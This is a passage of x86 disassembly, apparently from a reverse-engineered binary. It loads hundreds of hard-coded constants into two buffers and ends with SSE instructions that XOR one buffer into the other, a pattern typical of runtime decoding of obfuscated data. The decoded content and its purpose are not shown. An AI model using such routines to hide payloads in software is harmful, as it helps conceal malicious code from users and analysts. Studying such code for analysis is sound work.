mov dword [ebx + 0x21c], ecx
mov dword [ebx + 0x218], eax
mov eax, 0xd834e740
mov ecx, 0x33f0d22f
mov dword [ebx + 0x224], ecx
mov dword [ebx + 0x220], eax
mov eax, 0xb15186d4
mov ecx, 0xf42128b0
mov dword [ebx + 0x22c], ecx
mov dword [ebx + 0x228], eax
mov eax, 0xe6b333b4
mov ecx, 0xccd9c2d0
mov dword [ebx + 0x234], ecx
mov dword [ebx + 0x230], eax
mov eax, 0x3eeda741
mov ecx, 0x50212d1b
mov dword [ebx + 0x23c], ecx
mov dword [ebx + 0x238], eax
mov eax, 0x292fa55e
mov ecx, 0x93212fa3
mov dword [ebx + 0x244], ecx
mov dword [ebx + 0x240], eax
mov eax, 0x8a7acc26
mov ecx, 0x30b6431
mov dword [ebx + 0x24c], ecx
mov dword [ebx + 0x248], eax
mov eax, 0xa6756487
mov ecx, 0x9296eb7c
mov dword [ebx + 0x254], ecx
mov dword [ebx + 0x250], eax
mov eax, 0x25ed9479
mov ecx, 0x99dede22
mov dword [ebx + 0x25c], ecx
mov dword [ebx + 0x258], eax
mov eax, 0x7f3ce481
mov ecx, 0x76e1af33
mov dword [ebx + 0x264], ecx
mov dword [ebx + 0x260], eax
mov eax, 0xcb00ce49
mov ecx, 0x7b82c378
mov dword [ebx + 0x26c], ecx
mov dword [ebx + 0x268], eax
mov eax, 0xdacb2db1
mov ecx, 0x9d822ef5
mov dword [ebx + 0x274], ecx
mov dword [ebx + 0x270], eax
mov eax, 0xace50fc1
mov ecx, 0xf31a5db3
mov dword [ebx + 0x27c], ecx
mov dword [ebx + 0x278], eax
mov eax, 0x9ff809e6
mov ecx, 0x6f83d607
mov dword [ebx + 0x284], ecx
mov dword [ebx + 0x280], eax
mov eax, 0x2a6f1fc2
mov ecx, 0x1ba06a4a
mov dword [ebx + 0x28c], ecx
mov dword [ebx + 0x288], eax
mov eax, 0x3826d5c4
mov ecx, 0x8714ad0f
mov dword [ebx + 0x294], ecx
mov dword [ebx + 0x290], eax
mov eax, 0xf935bc6
mov ecx, 0xa4269339
mov dword [ebx + 0x29c], ecx
mov dword [ebx + 0x298], eax
mov eax, 0x64a4253
mov ecx, 0x59535542
mov dword [ebx + 0x2a4], ecx
mov dword [ebx + 0x2a0], eax
mov eax, 0x3f8b6634
mov ecx, 0xbc998e0c
mov dword [ebx + 0x2ac], ecx
mov dword [ebx + 0x2a8], eax
mov eax, 0x506ea7de
mov ecx, 0x800bd41e
mov dword [ebx + 0x2b4], ecx
mov dword [ebx + 0x2b0], eax
mov eax, 0x9eeb46d0
mov ecx, 0x29f0ab4
mov dword [ebx + 0x2bc], ecx
mov dword [ebx + 0x2b8], eax
mov eax, 0x262364aa
mov ecx, 0xf6319dc3
mov dword [ebx + 0x2c4], ecx
mov dword [ebx + 0x2c0], eax
mov eax, 0x2e6482ab
mov ecx, 0xe05dbf5c
mov dword [ebx + 0x2cc], ecx
mov dword [ebx + 0x2c8], eax
mov eax, 0x5c7835b2
mov ecx, 0x23d70c2c
mov dword [ebx + 0x2d4], ecx
mov dword [ebx + 0x2d0], eax
mov eax, 0xd214afae
mov ecx, 0xfcec4bb1
mov dword [ebx + 0x2dc], ecx
mov dword [ebx + 0x2d8], eax
mov eax, 0xbd796a5
mov ecx, 0x2a13c17c
mov dword [ebx + 0x2e4], ecx
mov dword [ebx + 0x2e0], eax
mov eax, 0xdc756c1b
mov ecx, 0x2e01a02b
mov dword [ebx + 0x2ec], ecx
mov dword [ebx + 0x2e8], eax
mov eax, 0xbd2682a6
mov ecx, 0xc3feb178
mov dword [ebx + 0x2f4], ecx
mov dword [ebx + 0x2f0], eax
mov eax, 0x6a0b303e
mov ecx, 0xdeadd523
mov dword [ebx + 0x2fc], ecx
mov dword [ebx + 0x2f8], eax
mov eax, 0x3a943e58
mov ecx, 0xe80b524d
mov dword [ebx + 0x304], ecx
mov dword [ebx + 0x300], eax
mov eax, 0x391a38c8
mov ecx, 0xc5499966
mov dword [ebx + 0x30c], ecx
mov dword [ebx + 0x308], eax
mov eax, 0x5b743b4d
mov ecx, 0xf29df8ad
mov dword [ebx + 0x314], ecx
mov dword [ebx + 0x310], eax
mov eax, 0x5df4b921
mov ecx, 0x9072f313
mov dword [ebx + 0x31c], ecx
mov dword [ebx + 0x318], eax
mov eax, 0x40ed0790
mov ecx, 0x3d9e93d7
mov dword [ebx + 0x324], ecx
mov dword [ebx + 0x320], eax
mov eax, 0xd0c686d9
mov ecx, 0x17ffe622
mov dword [ebx + 0x32c], ecx
mov dword [ebx + 0x328], eax
mov eax, 0x68339d59
mov ecx, 0x2285d379
mov dword [ebx + 0x334], ecx
mov dword [ebx + 0x330], eax
mov eax, 0x66f428a7
mov ecx, 0x2b268e5d
mov dword [ebx + 0x33c], ecx
mov dword [ebx + 0x338], eax
mov eax, 0x30e8b422
mov ecx, 0x8464fe4c
mov dword [ebx + 0x344], ecx
mov dword [ebx + 0x340], eax
mov eax, 0xf17d0920
mov ecx, 0xfee5cf19
mov dword [ebx + 0x34c], ecx
mov dword [ebx + 0x348], eax
mov eax, 0x7cfbcd65
mov ecx, 0x850d1957
mov dword [ebx + 0x354], ecx
mov dword [ebx + 0x350], eax
mov eax, 0x2a3bfdaa
mov ecx, 0x2a614574
mov dword [ebx + 0x35c], ecx
mov dword [ebx + 0x358], eax
mov eax, 0x9751f6a
mov ecx, 0x37c78e2e
mov dword [ebx + 0x364], ecx
mov dword [ebx + 0x360], eax
mov eax, 0x3e6b6943
mov ecx, 0x6124759b
mov dword [ebx + 0x36c], ecx
mov dword [ebx + 0x368], eax
mov eax, 0xf3df8c27
mov ecx, 0xbee703a
mov dword [ebx + 0x374], ecx
mov dword [ebx + 0x370], eax
mov eax, 0xca5ff01b
mov ecx, 0x99d853f
mov dword [ebx + 0x37c], ecx
mov dword [ebx + 0x378], eax
mov eax, 0x4a5fab9
mov ecx, 0x9f69fe57
mov dword [ebx + 0x384], ecx
mov dword [ebx + 0x380], eax
mov eax, 0xe0523480
mov ecx, 0x67d52b30
mov dword [ebx + 0x38c], ecx
mov dword [ebx + 0x388], eax
mov eax, 0x1c7f14e6
mov ecx, 0x30b1cdf5
mov dword [ebx + 0x394], ecx
mov dword [ebx + 0x390], eax
mov eax, 0xe0c30ea7
mov ecx, 0x68cf70dc
mov dword [ebx + 0x39c], ecx
mov dword [ebx + 0x398], eax
mov eax, 0xec472fa2
mov ecx, 0xb00fb167
mov dword [ebx + 0x3a4], ecx
mov dword [ebx + 0x3a0], eax
mov eax, 0xa3f5adec
mov ecx, 0xc4b8f3d0
mov dword [ebx + 0x3ac], ecx
mov dword [ebx + 0x3a8], eax
mov eax, 0xccfe76a0
mov ecx, 0x61ff2c0
mov dword [ebx + 0x3b4], ecx
mov dword [ebx + 0x3b0], eax
mov eax, 0x7ca450ce
mov ecx, 0x5a849b98
mov dword [ebx + 0x3bc], ecx
mov dword [ebx + 0x3b8], eax
mov eax, 0x5403ba4f
mov ecx, 0x450f79f9
mov dword [ebx + 0x3c4], ecx
mov dword [ebx + 0x3c0], eax
mov eax, 0x6f63ad09
mov ecx, 0xe7fa4e87
mov dword [ebx + 0x3cc], ecx
mov dword [ebx + 0x3c8], eax
mov eax, 0xb004c4f5
mov ecx, 0xe61aac0d
mov dword [ebx + 0x3d4], ecx
mov dword [ebx + 0x3d0], eax
mov eax, 0x332f40ba
mov ecx, 0x7a0b59bf
mov dword [ebx + 0x3dc], ecx
mov dword [ebx + 0x3d8], eax
mov eax, 0x92540cc9
mov ecx, 0x291559fe
mov dword [ebx + 0x3e4], ecx
mov dword [ebx + 0x3e0], eax
mov eax, 0x1ed2a91c
mov ecx, 0xf5ba78c9
mov dword [ebx + 0x3ec], ecx
mov dword [ebx + 0x3e8], eax
mov eax, 0x1405d945
mov ecx, 0x39e3a6c9
mov dword [ebx + 0x3f4], ecx
mov dword [ebx + 0x3f0], eax
mov eax, 0x7ddb49d7
mov ecx, 0xbab4dcd4
mov dword [ebx + 0x3fc], ecx
mov dword [ebx + 0x3f8], eax
mov eax, 0xf8d7042
mov ecx, 0x32006b79
mov dword [ebx + 0x404], ecx
mov dword [ebx + 0x400], eax
mov eax, 0x550e6d0a
mov ecx, 0x8aeecec6
mov dword [ebx + 0x40c], ecx
mov dword [ebx + 0x408], eax
mov eax, 0xbba5f8cd
mov ecx, 0x6ffe0003
mov dword [ebx + 0x414], ecx
mov dword [ebx + 0x410], eax
mov eax, 0xf361e246
mov ecx, 0x284dea2c
mov dword [ebx + 0x41c], ecx
mov dword [ebx + 0x418], eax
mov eax, 0xdfcb8167
mov ecx, 0xc5c20f54
mov dword [ebx + 0x424], ecx
mov dword [ebx + 0x420], eax
mov eax, 0xe01f63fc
mov ecx, 0xb990362d
mov dword [ebx + 0x42c], ecx
mov dword [ebx + 0x428], eax
mov eax, 0xbd1e4dec
mov ecx, 0x76b918d3
mov dword [ebx + 0x434], ecx
mov dword [ebx + 0x430], eax
mov eax, 0x45fc7146
mov ecx, 0xcefd3c44
mov dword [ebx + 0x43c], ecx
mov dword [ebx + 0x438], eax
mov eax, 0xcf0f6b62
mov ecx, 0xeabae975
mov dword [ebx + 0x444], ecx
mov dword [ebx + 0x440], eax
mov eax, 0x6e982e14
mov ecx, 0x54af2ae2
mov dword [ebx + 0x44c], ecx
mov dword [ebx + 0x448], eax
mov eax, 0xd8b08aee
mov ecx, 0xbae67f1f
mov dword [ebx + 0x454], ecx
mov dword [ebx + 0x450], eax
mov eax, 0xd2fca362
mov ecx, 0x8fc07e24
mov dword [ebx + 0x45c], ecx
mov dword [ebx + 0x458], eax
mov eax, 0xf5adf60f
mov ecx, 0xa506c224
mov dword [ebx + 0x464], ecx
mov dword [ebx + 0x460], eax
mov eax, 0xa4aa17a4
mov ecx, 0xce199ad1
mov dword [ebx + 0x46c], ecx
mov dword [ebx + 0x468], eax
mov eax, 0x540f6321
mov ecx, 0xf07d3de0
mov dword [ebx + 0x474], ecx
mov dword [ebx + 0x470], eax
mov eax, 0xb32546bd
mov ecx, 0x45a69a9f
mov dword [ebx + 0x47c], ecx
mov dword [ebx + 0x478], eax
mov ecx, 0xe1bf3b63
mov eax, 0x40a13ef8
mov dword [esi + 0x38], ecx
mov dword [esi + 0x3c], eax
mov dword [esi + 0x44], eax
mov dword [esi + 0x40], ecx
mov eax, 0x7f8c4968
mov ecx, 0xeb261f15
mov dword [esi + 0x18], ecx
mov dword [esi + 0x4c], ecx
mov dword [esi + 0xc], eax
mov dword [esi + 0x48], eax
mov eax, 0x362210c5
mov ecx, 0xbbde0c56
mov dword [esi + 0x30], ecx
mov dword [esi + 0x54], ecx
mov dword [esi + 0x34], eax
mov dword [esi + 0x50], eax
mov eax, 0xfdeb1642
mov ecx, 0x9bad0753
mov dword [esi + 0x28], ecx
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x2c], eax
mov dword [esi + 0x58], eax
mov eax, 0xd1183ce7
mov ecx, 0xe16195bc
mov dword [esi + 0x64], ecx
mov dword [esi + 0x60], eax
mov eax, 0xa9c3dc7c
mov ecx, 0xa214ec09
mov dword [esi + 0x6c], ecx
mov dword [esi + 0x68], eax
mov eax, 0xdf9a89b9
mov ecx, 0x7a8e85da
mov dword [esi + 0x74], ecx
mov dword [esi + 0x70], eax
mov eax, 0x3748fcc6
mov ecx, 0xfe34f097
mov dword [esi + 0x7c], ecx
mov dword [esi + 0x78], eax
mov eax, 0x21bdfacb
mov ecx, 0x4119f320
mov dword [esi + 0x84], ecx
mov dword [esi + 0x80], eax
mov eax, 0x82b42210
mov ecx, 0xb148279d
mov dword [esi + 0x8c], ecx
mov dword [esi + 0x88], eax
mov eax, 0x9ebcbaad
mov ecx, 0x40c4ae7e
mov dword [esi + 0x94], ecx
mov dword [esi + 0x90], eax
mov eax, 0x1e4eea0a
mov ecx, 0x475fa15b
mov dword [esi + 0x9c], ecx
mov dword [esi + 0x98], eax
mov eax, 0x77fa3a8f
mov ecx, 0x24a672a4
mov dword [esi + 0xa4], ecx
mov dword [esi + 0xa0], eax
mov eax, 0xc3f72424
mov ecx, 0x29b98651
mov dword [esi + 0xac], ecx
mov dword [esi + 0xa8], eax
mov eax, 0xd34c83a1
mov ecx, 0x4bb6f1c2
mov dword [esi + 0xb4], ecx
mov dword [esi + 0xb0], eax
mov eax, 0xa53d656e
mov ecx, 0xa146211f
mov dword [esi + 0xbc], ecx
mov dword [esi + 0xb8], eax
mov eax, 0x98655f73
mov ecx, 0x1d9699a8
mov dword [esi + 0xc4], ecx
mov dword [esi + 0xc0], eax
mov eax, 0x22d47578
mov ecx, 0xc9a62d45
mov dword [esi + 0xcc], ecx
mov dword [esi + 0xc8], eax
mov eax, 0x30bd2b55
mov ecx, 0x35227086
mov dword [esi + 0xd4], ecx
mov dword [esi + 0xd0], eax
mov eax, 0x8a4b152
mov ecx, 0x52475683
mov dword [esi + 0xdc], ecx
mov dword [esi + 0xd8], eax
mov eax, 0xfecf97f7
mov ecx, 0x702186c
mov dword [esi + 0xe4], ecx
mov dword [esi + 0xe0], eax
mov eax, 0x384cbc0c
mov ecx, 0x6a7b51b9
mov dword [esi + 0xec], ecx
mov dword [esi + 0xe8], eax
mov eax, 0x48e0fd49
mov ecx, 0x2e12978a
mov dword [esi + 0xf4], ecx
mov dword [esi + 0xf0], eax
mov eax, 0x97389c56
mov ecx, 0xb07bcdc7
mov dword [esi + 0xfc], ecx
mov dword [esi + 0xf8], eax
mov eax, 0x1f01ba5b
mov ecx, 0xa41060d0
mov dword [esi + 0x104], ecx
mov dword [esi + 0x100], eax
mov eax, 0x26b2d8a0
mov ecx, 0x8e3d824d
mov dword [esi + 0x10c], ecx
mov dword [esi + 0x108], eax
mov eax, 0x54b48bbd
mov ecx, 0xd165cfae
mov dword [esi + 0x114], ecx
mov dword [esi + 0x110], eax
mov eax, 0xcb05059a
mov ecx, 0xaa560f0b
mov dword [esi + 0x11c], ecx
mov dword [esi + 0x118], eax
mov eax, 0x457ec9f
mov ecx, 0xd82a8454
mov dword [esi + 0x124], ecx
mov dword [esi + 0x120], eax
mov eax, 0xd4c4c234
mov ecx, 0xdc006381
mov dword [esi + 0x12c], ecx
mov dword [esi + 0x128], eax
mov eax, 0xb5fcd8b1
mov ecx, 0x71577472
mov dword [esi + 0x134], ecx
mov dword [esi + 0x130], eax
mov eax, 0xa62e85fe
mov ecx, 0x4695484f
mov dword [esi + 0x13c], ecx
mov dword [esi + 0x138], eax
mov eax, 0xbdfc7683
mov ecx, 0x96dafdd8
mov dword [esi + 0x144], ecx
mov dword [esi + 0x140], eax
mov eax, 0x62ef8e08
mov ecx, 0x42ea9175
mov dword [esi + 0x14c], ecx
mov dword [esi + 0x148], eax
mov eax, 0xe10af8e5
mov ecx, 0x1217cb36
mov dword [esi + 0x154], ecx
mov dword [esi + 0x150], eax
mov eax, 0xcd8aab62
mov ecx, 0x5cb6833
mov dword [esi + 0x15c], ecx
mov dword [esi + 0x158], eax
mov eax, 0xe072c587
mov ecx, 0x9631b71c
mov dword [esi + 0x164], ecx
mov dword [esi + 0x160], eax
mov eax, 0x96589c1c
mov ecx, 0x40cb64e9
mov dword [esi + 0x16c], ecx
mov dword [esi + 0x168], eax
mov eax, 0x2ac03f59
mov ecx, 0xf678fd3a
mov dword [esi + 0x174], ecx
mov dword [esi + 0x170], eax
mov eax, 0x2f4dd166
mov ecx, 0xd61c5077
mov dword [esi + 0x17c], ecx
mov dword [esi + 0x178], eax
mov eax, 0xd511aa6b
mov ecx, 0x81533a80
mov dword [esi + 0x184], ecx
mov dword [esi + 0x180], eax
mov eax, 0xae96b130
mov ecx, 0x7bea527d
mov dword [esi + 0x18c], ecx
mov dword [esi + 0x188], eax
mov eax, 0x8ecc6ccd
mov ecx, 0xaea8a95e
mov dword [esi + 0x194], ecx
mov dword [esi + 0x190], eax
mov eax, 0xb9cbdf2a
mov ecx, 0xcff691bb
mov dword [esi + 0x19c], ecx
mov dword [esi + 0x198], eax
mov eax, 0x14a835af
mov ecx, 0xe46f4d84
mov dword [esi + 0x1a4], ecx
mov dword [esi + 0x1a0], eax
mov eax, 0x32887744
mov ecx, 0xb9433d31
mov dword [esi + 0x1ac], ecx
mov dword [esi + 0x1a8], eax
mov eax, 0x195e2fc1
mov ecx, 0xa1f0b0a2
mov dword [esi + 0x1b4], ecx
mov dword [esi + 0x1b0], eax
mov eax, 0xf205ee8e
mov ecx, 0x96e4487f
mov dword [esi + 0x1bc], ecx
mov dword [esi + 0x1b8], eax
mov eax, 0x679c5493
mov ecx, 0xf9d16b88
mov dword [esi + 0x1c4], ecx
mov dword [esi + 0x1c0], eax
mov eax, 0x1842ff98
mov ecx, 0xe6af0525
mov dword [esi + 0x1cc], ecx
mov dword [esi + 0x1c8], eax
mov eax, 0x47d29d75
mov ecx, 0x6b761e6
mov dword [esi + 0x1d4], ecx
mov dword [esi + 0x1d0], eax
mov eax, 0x6a1eabf2
mov ecx, 0x561a6863
mov dword [esi + 0x1dc], ecx
mov dword [esi + 0x1d8], eax
mov eax, 0x91ae7d97
mov ecx, 0x5e981ccc
mov dword [esi + 0x1e4], ecx
mov dword [esi + 0x1e0], eax
mov eax, 0xa04603ac
mov ecx, 0x72a1d599
mov dword [esi + 0x1ec], ecx
mov dword [esi + 0x1e8], eax
mov eax, 0x9855eae9
mov ecx, 0x1c197fea
mov dword [esi + 0x1f4], ecx
mov dword [esi + 0x1f0], eax
mov eax, 0x5431aa76
mov ecx, 0x47d111a7
mov dword [esi + 0x1fc], ecx
mov dword [esi + 0x1f8], eax
mov eax, 0x390faefb
mov ecx, 0x11f45bb0
mov dword [esi + 0x204], ecx
mov dword [esi + 0x200], eax
mov eax, 0x30d8a040
mov ecx, 0x81d5112d
mov dword [esi + 0x20c], ecx
mov dword [esi + 0x208], eax
mov eax, 0x12113f5d
mov ecx, 0x119f170e
mov dword [esi + 0x214], ecx
mov dword [esi + 0x210], eax
mov eax, 0xd48b8a3a
mov ecx, 0x27db1ceb
mov dword [esi + 0x21c], ecx
mov dword [esi + 0x218], eax
mov eax, 0x6c204fbf
mov ecx, 0xae7049b4
mov dword [esi + 0x224], ecx
mov dword [esi + 0x220], eax
mov eax, 0x6bf1cfd4
mov ecx, 0x75ff0461
mov dword [esi + 0x22c], ecx
mov dword [esi + 0x228], eax
mov eax, 0xd94d3c51
mov ecx, 0xeb78fd2
mov dword [esi + 0x234], ecx
mov dword [esi + 0x230], eax
mov eax, 0x76f6d91e
mov ecx, 0xed8b9f2f
mov dword [esi + 0x23c], ecx
mov dword [esi + 0x238], eax
mov eax, 0xe918e5a3
mov ecx, 0x92d17bb8
mov dword [esi + 0x244], ecx
mov dword [esi + 0x240], eax
mov eax, 0x86e5f3a8
mov ecx, 0x3d565bd5
mov dword [esi + 0x24c], ecx
mov dword [esi + 0x248], eax
mov eax, 0x3d7bbb05
mov ecx, 0xe0e4916
mov dword [esi + 0x254], ecx
mov dword [esi + 0x250], eax
mov eax, 0x544c082
mov ecx, 0xeddd4413
mov dword [esi + 0x25c], ecx
mov dword [esi + 0x258], eax
mov eax, 0xd871e727
mov ecx, 0x3391d27c
mov dword [esi + 0x264], ecx
mov dword [esi + 0x260], eax
mov eax, 0xb11d86bc
mov ecx, 0xf44528c9
mov dword [esi + 0x26c], ecx
mov dword [esi + 0x268], eax
mov eax, 0xe6f433f9
mov ecx, 0xccbec29a
mov dword [esi + 0x274], ecx
mov dword [esi + 0x270], eax
mov eax, 0x3ea2a706
mov ecx, 0x50652d57
mov dword [esi + 0x27c], ecx
mov dword [esi + 0x278], eax
mov eax, 0x2917a50b
mov ecx, 0x934a2fe0
mov dword [esi + 0x284], ecx
mov dword [esi + 0x280], eax
mov eax, 0x8a0dcc50
mov ecx, 0x378645d
mov dword [esi + 0x28c], ecx
mov dword [esi + 0x288], eax
mov eax, 0xa61664ed
mov ecx, 0x92f4eb3e
mov dword [esi + 0x294], ecx
mov dword [esi + 0x290], eax
mov eax, 0x25a8944a
mov ecx, 0x998fde1b
mov dword [esi + 0x29c], ecx
mov dword [esi + 0x298], eax
mov eax, 0x7f53e4cf
mov ecx, 0x76d6af64
mov dword [esi + 0x2a4], ecx
mov dword [esi + 0x2a0], eax
mov eax, 0xcb50ce64
mov ecx, 0x7be9c311
mov dword [esi + 0x2ac], ecx
mov dword [esi + 0x2a8], eax
mov eax, 0xdaa62de1
mov ecx, 0x9de72e82
mov dword [esi + 0x2b4], ecx
mov dword [esi + 0x2b0], eax
mov eax, 0xac970fae
mov ecx, 0xf3765ddf
mov dword [esi + 0x2bc], ecx
mov dword [esi + 0x2b8], eax
mov eax, 0x9fbf09b3
mov ecx, 0x6fc6d668
mov dword [esi + 0x2c4], ecx
mov dword [esi + 0x2c0], eax
mov eax, 0x2a2e1fb8
mov ecx, 0x1bd66a05
mov dword [esi + 0x2cc], ecx
mov dword [esi + 0x2c8], eax
mov eax, 0x3816d595
mov ecx, 0x8752ad46
mov dword [esi + 0x2d4], ecx
mov dword [esi + 0x2d0], eax
mov eax, 0xffe5b92
mov ecx, 0xa4779343
mov dword [esi + 0x2dc], ecx
mov dword [esi + 0x2d8], eax
mov eax, 0x6294237
mov ecx, 0x5932552c
mov dword [esi + 0x2e4], ecx
mov dword [esi + 0x2e0], eax
mov eax, 0x3fa6664c
mov ecx, 0xbcab8e79
mov dword [esi + 0x2ec], ecx
mov dword [esi + 0x2e8], eax
mov eax, 0x503aa789
mov ecx, 0x8042d44a
mov dword [esi + 0x2f4], ecx
mov dword [esi + 0x2f0], eax
mov eax, 0x9e924696
mov ecx, 0x2ac0a87
mov dword [esi + 0x2fc], ecx
mov dword [esi + 0x2f8], eax
mov eax, 0x265b649b
mov ecx, 0xf6409d90
mov dword [esi + 0x304], ecx
mov dword [esi + 0x300], eax
mov eax, 0x2e0c82e0
mov ecx, 0xe06dbf0d
mov dword [esi + 0x30c], ecx
mov dword [esi + 0x308], eax
mov eax, 0x5c0e35fd
mov ecx, 0x23960c6e
mov dword [esi + 0x314], ecx
mov dword [esi + 0x310], eax
mov eax, 0xd25eafda
mov ecx, 0xfc864bcb
mov dword [esi + 0x31c], ecx
mov dword [esi + 0x318], eax
mov eax, 0xbb196df
mov ecx, 0x2a5ac114
mov dword [esi + 0x324], ecx
mov dword [esi + 0x320], eax
mov eax, 0xdc1e6c74
mov ecx, 0x2e30a041
mov dword [esi + 0x32c], ecx
mov dword [esi + 0x328], eax
mov eax, 0xbd5682f1
mov ecx, 0xc387b132
mov dword [esi + 0x334], ecx
mov dword [esi + 0x330], eax
mov eax, 0xad88303e
mov ecx, 0x98c5850f
mov dword [esi + 0x33c], ecx
mov dword [esi + 0x338], eax
mov eax, 0xc55620c3
mov ecx, 0xe90b3a98
mov dword [esi + 0x344], ecx
mov dword [esi + 0x340], eax
mov eax, 0x6a493848
mov ecx, 0x951ace35
mov dword [esi + 0x34c], ecx
mov dword [esi + 0x348], eax
mov eax, 0xe864a325
mov ecx, 0x644807f6
mov dword [esi + 0x354], ecx
mov dword [esi + 0x350], eax
mov eax, 0xd4e455a2
mov ecx, 0x57fba4f3
mov dword [esi + 0x35c], ecx
mov dword [esi + 0x358], eax
mov eax, 0xe7cc6fc7
mov ecx, 0xe861f3dc
mov dword [esi + 0x364], ecx
mov dword [esi + 0x360], eax
mov eax, 0x9db2465c
mov ecx, 0x92fba1a9
mov dword [esi + 0x36c], ecx
mov dword [esi + 0x368], eax
mov eax, 0x3219e999
mov ecx, 0x48a939fa
mov dword [esi + 0x374], ecx
mov dword [esi + 0x370], eax
mov eax, 0x36a77ba6
mov ecx, 0x284c8d37
mov dword [esi + 0x37c], ecx
mov dword [esi + 0x378], eax
mov eax, 0xdc6b54ab
mov ecx, 0xd3837740
mov dword [esi + 0x384], ecx
mov dword [esi + 0x380], eax
mov eax, 0xb5f05b70
mov ecx, 0xce1a8f3d
mov dword [esi + 0x38c], ecx
mov dword [esi + 0x388], eax
mov eax, 0x9626170d
mov ecx, 0xd8e61e
mov dword [esi + 0x394], ecx
mov dword [esi + 0x390], eax
mov eax, 0xc125896a
mov ecx, 0x2226ce7b
mov dword [esi + 0x39c], ecx
mov dword [esi + 0x398], eax
mov eax, 0x1c01dfef
mov ecx, 0x369f8a44
mov dword [esi + 0x3a4], ecx
mov dword [esi + 0x3a0], eax
mov eax, 0x39e22184
mov ecx, 0xb7379f1
mov dword [esi + 0x3ac], ecx
mov dword [esi + 0x3a8], eax
mov eax, 0x20b7da01
mov ecx, 0xf420ed62
mov dword [esi + 0x3b4], ecx
mov dword [esi + 0x3b0], eax
mov eax, 0xf95f98ce
mov ecx, 0xe914853f
mov dword [esi + 0x3bc], ecx
mov dword [esi + 0x3b8], eax
mov eax, 0x6ef5fed3
mov ecx, 0x4c01a848
mov dword [esi + 0x3c4], ecx
mov dword [esi + 0x3c0], eax
mov eax, 0x1f9ca9d8
mov ecx, 0x38df41e5
mov dword [esi + 0x3cc], ecx
mov dword [esi + 0x3c8], eax
mov eax, 0x4f2c47b5
mov ecx, 0x58e79ea6
mov dword [esi + 0x3d4], ecx
mov dword [esi + 0x3d0], eax
mov eax, 0x71785632
mov ecx, 0xa84aa523
mov dword [esi + 0x3dc], ecx
mov dword [esi + 0x3d8], eax
mov eax, 0x990827d7
mov ecx, 0xb0c8598c
mov dword [esi + 0x3e4], ecx
mov dword [esi + 0x3e0], eax
mov eax, 0xa79fadec
mov ecx, 0xc4d21259
mov dword [esi + 0x3ec], ecx
mov dword [esi + 0x3e8], eax
mov eax, 0x9faf9529
mov ecx, 0x6e49bcaa
mov dword [esi + 0x3f4], ecx
mov dword [esi + 0x3f0], eax
mov eax, 0x5b8b54b6
mov ecx, 0x9a014e67
mov dword [esi + 0x3fc], ecx
mov dword [esi + 0x3f8], eax
mov eax, 0x4069593b
mov ecx, 0x64249870
mov dword [esi + 0x404], ecx
mov dword [esi + 0x400], eax
mov eax, 0x38324a80
mov ecx, 0xd4054ded
mov dword [esi + 0x40c], ecx
mov dword [esi + 0x408], eax
mov eax, 0x196ae99d
mov ecx, 0x63cf53ce
mov dword [esi + 0x414], ecx
mov dword [esi + 0x410], eax
mov eax, 0xdbe5347a
mov ecx, 0x7a0b59ab
mov dword [esi + 0x41c], ecx
mov dword [esi + 0x418], eax
mov eax, 0x7379f9ff
mov ecx, 0xa08674
mov dword [esi + 0x424], ecx
mov dword [esi + 0x420], eax
mov eax, 0x734b7a14
mov ecx, 0xc82f4121
mov dword [esi + 0x42c], ecx
mov dword [esi + 0x428], eax
mov eax, 0xe0a6e691
mov ecx, 0x60e7cc92
mov dword [esi + 0x434], ecx
mov dword [esi + 0x430], eax
mov eax, 0x7e50835e
mov ecx, 0x3fbbdbef
mov dword [esi + 0x43c], ecx
mov dword [esi + 0x438], eax
mov eax, 0xf0728fe3
mov ecx, 0xe501b878
mov dword [esi + 0x444], ecx
mov dword [esi + 0x440], eax
mov eax, 0x8e3f9de8
mov ecx, 0x8f869895
mov dword [esi + 0x44c], ecx
mov dword [esi + 0x448], eax
mov eax, 0x44d56545
mov ecx, 0x603e85d6
mov dword [esi + 0x454], ecx
mov dword [esi + 0x450], eax
mov eax, 0xc9e6ac2
mov ecx, 0x400d80d3
mov dword [esi + 0x45c], ecx
mov dword [esi + 0x458], eax
mov eax, 0xdfcb9167
mov ecx, 0x85c20f3c
mov dword [esi + 0x464], ecx
mov dword [esi + 0x460], eax
mov eax, 0xb87730fc
mov ecx, 0x46756589
mov dword [esi + 0x46c], ecx
mov dword [esi + 0x468], eax
mov eax, 0xee4dde39
mov ecx, 0x1eeeff5a
mov dword [esi + 0x474], ecx
mov dword [esi + 0x470], eax
mov eax, 0x45fc5146
mov ecx, 0xa2956a17
mov dword [esi + 0x47c], ecx
mov dword [esi + 0x478], eax
mov eax, 0x30714f4b
mov ecx, 0xe57a6ca0
mov dword [esi + 0x484], ecx
mov dword [esi + 0x480], eax
mov eax, 0x91677690
mov ecx, 0x55a8a11d
mov dword [esi + 0x48c], ecx
mov dword [esi + 0x488], eax
mov eax, 0xad700f2d
mov ecx, 0xe52527fe
mov dword [esi + 0x494], ecx
mov dword [esi + 0x490], eax
mov eax, 0x2d023e8a
mov ecx, 0xebc01adb
mov dword [esi + 0x49c], ecx
mov dword [esi + 0x498], eax
mov eax, 0x86ad8f0f
mov ecx, 0xc906ec24
mov dword [esi + 0x4a4], ecx
mov dword [esi + 0x4a0], eax
mov eax, 0xd2aa78a4
mov ecx, 0xce19ffd1
mov dword [esi + 0x4ac], ecx
mov dword [esi + 0x4a8], eax
mov eax, 0xe1ffd821
mov ecx, 0xf0176b42
mov dword [esi + 0x4b4], ecx
mov dword [esi + 0x4b0], eax
mov eax, 0x45a69a9f
mov ecx, 0xb3f0b9ee
mov dword [esi + 0x4bc], eax
mov dword [esi + 0x4b8], ecx
lea eax, [esi + 0x40]
xor ecx, ecx
movaps xmm0, xmmword [ebx]
movaps xmm1, xmmword [ebx + 0x10]
xorps xmm0, xmmword [eax]
movaps xmmword [ebx], xmm0
xorps xmm1, xmmword [eax + 0x10]
movaps xmmword [ebx + 0x10], xmm1
movaps xmm0, xmmword [ebx + 0x20]
xorps xmm0, xmmword [eax + 0x20]
movaps xmmword [ebx + 0x20], xmm0
movaps xmm0, xmmword [ebx + 0x30]
xorps xmm0, xmmword [eax + 0x30]
movaps xmmword [ebx + 0x30], xmm0
movaps xmm0, xmmword [ebx + 0x40]
xorps xmm0, xmmword [eax + 0x40]
movaps xmmword [ebx + 0x40], xmm0
movaps xmm0, xmmword [ebx + 0x50]
xorps xmm0, xmmword [eax + 0x50]
movaps xmmword [ebx + 0x50], xmm0
movaps xmm0, xmmword [ebx + 0x60]
xorps xmm0, xmmword [eax + 0x60]
movaps xmmword [ebx + 0x60], xmm0
